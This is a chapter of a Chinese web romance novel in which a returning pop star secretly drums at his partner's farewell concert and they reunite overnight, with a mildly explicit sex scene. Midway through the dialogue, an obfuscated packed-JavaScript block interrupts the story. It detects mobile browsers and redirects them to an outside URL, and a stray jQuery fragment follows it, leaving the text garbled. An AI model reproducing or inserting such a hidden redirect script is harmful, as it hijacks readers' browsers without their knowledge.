76. 第 76 章
作品:《写一首情歌给你听呀[双向暗恋]》 从挪威飞回国,需要十四个小时。
陆野赶到演唱会现场的时候,已经是第二天的晚上。
演唱会已经接近尾声,一个身穿一件连帽的冲锋衣,带着口罩,风尘仆仆的的旅人大步走向体育场,没有人认出他是大明星陆野。
小薇在入口处等他,给了他一张工作证,将人引到后台。
“陆野哥,”小迷妹气声说,“我谁都没有告诉。”
陆野比了个“OK”的手势,轻车熟路地往音控区走。
演唱会进行到安可环节,林栖回到后台换装,鼓手起一个节拍,带领观众喊她的名字,唤她出场。
天降着小雨,气温初降,林栖状态不太好,脑袋一直很沉,扁桃体犹如刀割,似乎是感冒了。
换好装后,她随着升降台升上去。
鼓点强劲有力,节奏越来越快,观众的呼喊也越来越快,一下一下轰击着心脏。
升上舞台的一刹那,荧光棒像漫天星扑面坠落,照花了眼,鼓点又“轰隆——”一声,她迷蒙一刹,脑海中忽然电光火石。
今天的鼓声与往常不同——那种找不到真实可依的证据,却如烟雾般不散的直觉再次涌上心头。
也许根本不是耳朵告诉她的。
而是心跳告诉她的。
鼓声一下又一下,和心跳融为一体。
记得老板娘说过,陆野第一个接触的乐器,就是架子鼓。
前奏响起来,鼓声渐弱,她不敢回头去看,直至那鼓声再次响起,“咚——咚咚——咚咚咚——”她确定是陆野来了。
告别演唱会的最后一首歌,人们都说林栖唱得最动情,她声音沙哑,泪如雨下,一向随性淡然的形象被破碎感碾压殆尽。
她是真的在告别舞台,观众这样想着,也跟着动容,却不知道,那背后,有一段冗长的旅程。
也不知道,另有一位归来的巨星,就藏在这鼓声的后面,坐在架子鼓前。
黑色的鸭舌帽挡住他的眉眼,他低头,专注,心跳与鼓声连成一脉。
乐器,节奏,歌声,都是会说话的。
密码于几万人中,只有他们彼此知道。
歌曲落幕,林栖的身影消失在升降台,掌声雷动,鼓棒绕着鼓手骨节分明的指间转了个花,被抛向空中,再稳稳接住。
帽檐与额发挡住大部分轮廓,他嘴角微扬,勾起一个优美的弧度,溢出动情的笑容。
一曲唱完,歌手作最后的谢幕,随升降台落地后场,紧接着,就被带至更衣室换回常服。
刚从更衣室出来,六个保镖就护了上来,一把大伞护住她,从VIP通道离开,直奔保姆车。
“等等……”
“姐,上车再说。”后台人声嘈杂零乱,小薇扶着林栖,“今天来了五万多人,场馆外也围满了人,不早点走,待会儿车就出不去了。”
林栖回头望了一眼,黑压压的人群熙攘忙乱,匆忙成一副没有轮廓的水墨画,浮光掠影,认不出任何一具面孔,没有人给她时间,从刚才的情绪中走出来。
保姆车行驶在深夜的街道上,初秋风凉,气温骤降,行人裹紧了大衣,神色匆匆。
“不去庆功宴了,”林栖忽说,“送我去琮林南路22号,域骏华都。”
她报的是陆野公寓的地址,就这么不顾旁人的目光,报了出来。
司机从后视镜中看了她一眼,没有说话,变更了导航。
小薇紧咬着下唇,没有多问一句,然而声线抖个不停,“那姐你好好休息,我跟安迪哥说一声。”
保姆车很快到达目的地,林栖下了车,径直步入公寓楼。
车门关上,小薇捂着脸,缺氧似地猛吸了几口气。来当明星助理前,她就预想到这个职业需要保守很多秘密,没想到秘密来得如此刺激。
她憋坏了,将脸埋在抱枕里尖叫了五分钟。
林栖坐电梯上到陆野住地那一层,门锁识别到她的面部,“嘀嘀——”两声,门应声而开。
公寓很干净,常年亮着几盏灯。
小夏不时会来喂猫,帮忙清洁猫砂,给猫大爷洗澡梳毛,所以花宝依旧毛发丰顺,依旧目中无人,胖地恨不得在地上滚。
进门看到亮灯的时候,林栖小小心悸了一下,捂着胸口站在门前不敢进去,后来才发现,陆野并没有回来。
她将花宝抱在怀里,挠了挠小猫的下巴,又帮它顺毛,花宝舒服地嗷嗷叫唤,只是眼神依旧很拽。
“我并不是想他哦,我只是想你了。”林栖小声说,“你想不想你主子啊?”
花宝倔强地一扭头,抬头望天。
她一直认为,哪怕爱上一个人,也不用时时刻刻黏在一起。
可以相互陪伴,也可以各自出发,寻找自己热爱的事情做。
只是,当想念在眼前结出一颗小小的,不容忽视的果实的时候,它背后早已盘根错节,在时间的洪流中默默长满了根须,充盈了枝叶,侵占了她的全世界。
“是我烧糊涂了,听错了鼓吗?”
林栖轻轻叹了一口气,自言自语:“什么时候回来呢?”
就在这时,门外出现声响,“嘀——”是识别到主人面部的声音。
林栖心脏跳得跟发了狂一样,仿佛安可的鼓点跨越时空,回到她胸腔擂动。
花宝“喵”了一声,看看门的方向,又看看林栖。
林栖走到门前,门没有立时打开,门外的人正握着把手,却没有推,似乎感觉到屋里有人。
于是她从里面握上把手,两只手一推一拉,门被打开,陆野一头栽进来,带进来一身寒气。
轮廓优越的脸庞沾染了一层风霜,皮肤黝黑,两腮留着些许胡渣,身形看上去劲瘦成熟了不少,似乎还高了寸许。
看见林栖,他的眼底闪过一丝惊讶,接着便笑了,双手捏住林栖的耳朵,恶作剧似的冰她。
穿越半个地球的寒霜覆在她耳朵上,很快便化作暖流。
林栖捂住他冰凉的双手,鼻尖红红的。
陆野的手心很快变热,连带着林栖的耳朵也烫地厉害,他捧住她的脸,眸光愈加深邃,随后偏头吻住了她的唇。
林栖本能地闭上双眼,她感觉身体被摁在墙上,却没有冰冷的触感。背后一只手将她拥着,阻隔了墙体的温度,不久,另一只手稍稍用力,将她抱起来。
她小小地惊呼了一声,被放落到床上。
细密的吻追了上来,让她无从招架,呼吸零乱。
“不要,我感冒了。”她闷闷地说。
“没事。”陆野声音低哑。
他轻咬了一下她的下唇,随后那酥麻的感觉落到脖子,继续往下走。
“胡渣。”她难受地扭动了一下,那细密粗硬的胡渣又痒又刺。
陆野贴着她小腹,低低笑了一声,“对不起,我小心一点。”
话虽这样说,他却根本没有小心。
她指骨抵在唇上,进而用牙齿压住,拼命克制住想要叫出声的冲动。
“关,关灯。”这是最后的倔强。
“好。”陆野腾出一只手来,摸索到床头的开关,全屋的灯同时熄灭,视觉一瞬间被回收,黑暗中,触感被放大至数倍。
在将将要咬破手指头的时候,听见对方声音说:“林栖,可以叫出来的。”
随着一些陌生的嘤咛从唇齿间溢出,她产生出一丝不真切的感觉,好像彻底交出了这具疲累身体的主宰权,却没有丧失一点点安全感。
这一夜根本没有时间睡觉。
久别重逢,积攒了太多情绪,每一秒钟都很珍贵。
后半夜,林栖想听他路上的见闻,陆野就说了几个,本想哄她入睡,她却听上瘾了。
“尼泊尔的加德满都,是我的第三个目的地,在那里,我的睡眠问题突然有了好转。”
“哦?发生了什么事?”林栖惊奇地支起脑袋。
“爬一个山,忘记那山叫什么名字了,爬到山顶的时候,看到一颗巨大的菩提树,我这辈子都没见过,也想象不出那么大一棵树。不知道为什么,看到那颗树,突然就犯困了。”
“只是爬山爬累了吧。”
“谁知道呢?”陆野笑笑。
“然后呢?”林栖问。
“然后,我就爬上去睡了一觉。”
“真是像你能做出来的事……再然后呢?”林栖越听越好奇。
“再然后,不知道睡了多久,醒来的时候,发现好多人在树下朝我下跪。”
“做梦吧?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187372|155714||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“真的啦,”陆野撇撇嘴,“然后他们发现了我,就把我赶走了……原来那棵树在当地是很神圣的一棵树,很多信众在树下打坐、跪拜、祈祷……”
林栖笑个不停,“活该。”
陆野看她裸露的肩膀露在被子外头,便拉上来被子帮她盖好,再将她搂紧,“不知道为什么,从那天之后,我入睡就不那么困难了。”
“有没有可能只是你每天到处乱逛,走累了而已。”
“有可能,反正慢慢的,我就能一觉睡到天亮了,”陆野慢慢抚着她的背,“好了,睡吧。”
“再说一个。”
“……留着以后慢慢跟你说。”
“不行。”
陆野撇了眼窗帘外若隐若现的微光,叹了口起,“那你过来一点。”
林栖充满期待地挨过去,立马被压住,浅浅地吻了上来。
“唔,你骗人。”
“谁叫你不睡的?”
陆野的手开始不安分。
微光从窗帘缝隙透进来一线,房间晦暗不明,只有床尾一小点亮光,圈成一团暖黄。
陆野的手在她腰上用力,掌心炽热,几乎要将她的腰折断……
不知又过去多久,暖黄的区域变大了一圈,花宝大摇大摆走过来,卧在那片暖光中悠闲自得地舔毛。
而林栖终于沉沉地睡去。
陆野爬起来,揉了揉花宝的小脑袋,“别吵醒她。”然后蹑手蹑脚地去浴室洗澡。
刚打开手机,无数的信息就狂轰乱炸过来,一堆沉积的工作正等着他。
他手指一动,将信息挥走,给阿姨打了个电话,让她早上过来的时候带些菜来。
不久,阿姨循例上门,陆野接过菜就让阿姨走了,自己走进厨房,将菜逐个收拾清洗。
他已经能熟练地将黑鱼片成如纸薄的鱼片。
砂锅上煮着鱼片粥,小火里咕嘟冒泡,旁边一排小瓷碗,挨个盛着碧绿的葱花,嫩黄的姜片,和鲜红的枸杞,陆野逐次将它们下锅,然后处理其他食材。
他做地很专注,直到林栖已经洗漱好,边穿衣服边脚步匆忙地走出来。
“起床了?呃,吃,吃药……你上哪去?”陆野跟不上她的步伐,拿着药丸和白水跟在后边。
“下午有个采访,现在就得去准备了。”林栖躲过药丸,“不吃了,我好多了,再过两天就自愈了。”
“你怎么每次都急匆匆的?”陆野喊住她,一定让她吃完早饭再走。
林栖喝了两口鱼片粥,拿了根玉米边吃边走。
“去哪?开车了吗?”
“我叫个车。”
“我送你,我也要出门。”陆野按下她,坚持让她好好吃完早饭,自己则去换衣服。
林栖坐下来,算了算时间还算充足,便放慢了进食的速度,并在陆野换好衣服出来时,伸手抱了抱他,“谢谢,粥太好喝了。”
一年多不见,他的身材稍有变化。
长途跋涉,风吹日晒,使他的身体有种粗粝而原始的力量感,抱起来,和以前感觉很不一样。
吃饱喝足,两人一起出发。
车停在电视台的媒体中心楼停车场,两人前后相隔半个小时下车。
林栖采访快要结束时,正好碰见陆野的团队往这边走,两人遥遥打了个招呼。
“陆老师什么时候回来的?”
“昨天刚下的飞机,遗憾没能给你送个花篮。是最后一场了吧?”
“是的,陆老师有这个心,我就很高兴了,还要做访问,我们下次详聊。”
“好的,那我先走了,下次约饭。”
“一定,慢走。”林栖鞠了一小躬,对方回以微笑。
采访的记者连一丝丝小粉红也没有捕捉到,想上前采访陆野两句时,他已经大步走远了。
显得去年那场隔空的暧昧毫无根据可依。
在场只有小薇激动地掐着方安迪的手臂,在心里疯狂尖叫。
“干什么干什么,肉要被你掐掉了!”方安迪还以为她是看到了陆野才这么激动的,暗想他这一回,乐坛又是一场腥风血雨。
只可惜一直那么争气的林栖突然无心恋战。
小薇心里在想的却是,姐没换衣服啊啊啊啊啊!